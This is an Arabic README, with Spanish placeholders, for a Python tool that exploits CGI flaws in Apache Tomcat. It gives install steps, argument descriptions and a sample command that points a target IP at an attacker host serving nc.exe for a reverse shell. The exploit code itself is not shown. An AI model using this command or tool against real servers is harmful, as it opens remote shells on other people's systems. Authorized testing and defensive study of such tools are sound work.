نص استغلال CGI لخادم Apache Tomcat

الوصف

نص برمجي بلغة Python مصمم لاستغلال ثغرات CGI في خوادم Apache Tomcat عن طريق تنفيذ اتصال شل عكسي.

مثال الاستخدام

الميزات

• استغلال آلي لثغرات CGI في Apache Tomcat
• معلمات هدف ومهاجم قابلة للتخصيص
• واجهة سطر أوامر بسيطة

المتطلبات الأساسية

• Python 3.x
• مكتبة requests
• Netcat (nc.exe)
• الوصول إلى مستمع لاستقبال الشل العكسي

التثبيت

git clone <url-del-repositorio>
cd <directorio-del-repositorio>
pip install requests

الاستخدام

python3 tomcat_cgi_exploit.py -t <IP_OBJETIVO> -i <IP_ATACANTE> -ncp <PUERTO_SHELL_INVERSO>

الوسائط الإلزامية

• -t, --target: عنوان IP للهدف الذي يعمل عليه Apache Tomcat
• -i, --ip: عنوان IP للمهاجم الذي يستضيف nc.exe
• -ncp, --nc-port: المنفذ الخاص باتصال الشل العكسي

الوسائط الاختيارية

• -p, --port: منفذ الهدف (الافتراضي: 8080)
• -sp, --server-port: منفذ الخادم لاستضافة nc.exe (الافتراضي: 80)
• -cgi, --cgi-script: اسم نص CGI المراد استغلاله (الافتراضي: cmd.bat)

مثال

python3 tomcat_cgi_exploit.py -t 192.168.1.100 -i 192.168.1.50 -ncp 4444

إخلاء المسؤولية القانوني

تم توفير هذه الأداة لأغراض تعليمية واختبارات الاختراق المصرح بها فقط. المؤلف والمساهمون ليسوا مسؤولين عن أي إساءة استخدام أو ضرر يسببه هذا النص البرمجي. احصل دائمًا على التصريح المناسب قبل اختبار أي نظام.

المؤلف

• Jose Miguel Romero (k3Pn1c)